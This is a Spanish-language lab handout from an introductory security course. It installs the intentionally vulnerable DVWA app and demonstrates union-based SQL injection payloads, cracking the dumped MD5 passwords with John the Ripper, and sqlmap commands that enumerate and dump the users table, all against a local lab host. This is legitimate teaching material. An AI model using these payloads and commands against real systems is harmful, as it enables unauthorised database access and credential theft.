LABORATORIO
Instalación del entorno DVWA
cd Downloads
wget https://github.com/ethicalhack3r/DVWA/archive/master.zip
unzip master.zip
mv DVWA-master dvwa
cp -r dvwa /var/www/html/
service mysql start
mysql -u root -p
create database dvwa;
exit
nano /var/www/html/dvwa/config/config.inc.php
# Eliminar la contraseña de mysql
service apache2 restart
Y ya se debe tener acceso a través de http://172.16.123.136/dvwa, con usuario admin y
contraseña password y, por último, pulsar el botón create database de la pestaña
Setup.
Para todas las pruebas de este curso de introducción a la seguridad debemos
asegurarnos de que en la pestaña DVWA Security la dificultad está seleccionada
como low.
SQL Injection
Accediendo a la pestaña SQL Injection aparece un campo User ID en el que se puede
insertar un número. Si dicho usuario existe nos devolverá información del mismo.
2
Al añadir números como 1, 2, 3 recibimos respuesta del usuario que ocupa dicho
“id”
2' and 1=1 #
Esto nos devuelve la segunda entrada (Gordon) de la base de datos, por lo que
está interpretando la expresión que se encuentra a su derecha
2' and 1=1 order by 3 #
Da un error (unknown column 3) ya que no existe dicha columna, porque la
consulta solo nos devuelve los campos First_name y Surname. Al ordenar la
salida nos da la pista de que quizás se puedan ejecutar acciones en la propia
consulta
Funciones como las que se pueden encontrar en la documentación
oficial https://dev.mysql.com/doc/refman/5.7/en/information-functions.html.
2' and 1=1 union select 1,version() #
Efectivamente ejecuta funciones, en este caso nos devuelve la versión concreta
de la base de datos.
2' and 1=1 union select 1,user() #
Usuario administrador de la base de datos.
2' and 1=1 union select 1,database() #
Nombre de la base de datos.
2' and 1=1 union select 1,table_name from information_schema.tables #
Nombre de todas las tablas, entre las que destaca una de usuarios “users” a la
que podemos atacar. Se pueden lanzar distintas funciones que podemos
encontrar en https://dev.mysql.com/doc/refman/5.7/en/tables-table.html.
2' and 1=1 union select 1,table_name from information_schema.tables where
table_schema!='mysql' and table_schema!='information_schema' and table_schema!
='performance_schema' #
Se filtra la base de datos information_schema, performance_schema y mysql
2' and 1=1 union select 1,column_name from information_schema.columns where
table_name='users' #
Se accede dentro de la tabla y se listan las columnas que tiene
2' and 1=1 union select 1,concat(first_name,0x0a,password) from users #
Se obtiene los usuarios con las contraseñas en md5
===================
admin : 5f4dcc3b5aa765d61d8327deb882cf99
Gordon : e99a18c428cb38d5f260853678922e03
Hack : 8d3533d75ae2c3966d7e0d4fcc69216b
Pablo : 0d107d09f5bbe40cade3de5c71e9e9b7
Bob : 5f4dcc3b5aa765d61d8327deb882cf99
Para descifrar la password se puede utilizar algún servicio online como:
https://hashkiller.co.uk/md5-decrypter.aspx
o con John The Ripper, con el comando:
john --format=raw-md5 gordon-md5 --show
Donde gordon-md5 es un fichero donde hemos almacenado la contraseña cifrada por
md5.
SQL Map
Se debería instalar, por ejemplo, la herramienta CookieManager+ para poder coger la
Cookie de la conexión y realizar las pruebas con Sqlmap.
Primero se comprobará si es vulnerable a un ataque SQL.
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit"
--cookie="security=low; PHPSESSID=XXXX"
Se obtendrá el usuario administrador de la bbdd:
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit"
--cookie="security=low; PHPSESSID=XXXX" –current-user
La lista de bases de datos:
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit"
--cookie="security=low; PHPSESSID=XXXX" –dbs
Las tablas dentro de nuestra base de datos objetivo:
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit"
--cookie="security=low; PHPSESSID=XXXX" -D dvwa –tables
Lista de columnas dentro de la tabla de usuarios:
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit"
--cookie="security=low; PHPSESSID=XXXX" -D dvwa -T users --columns
Por último, que devuelva una lista de usuarios y contraseñas (md5)
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit"
--cookie="security=low; PHPSESSID=XXXX" -D dvwa -T users -C
user,password,first_name,last_name –dump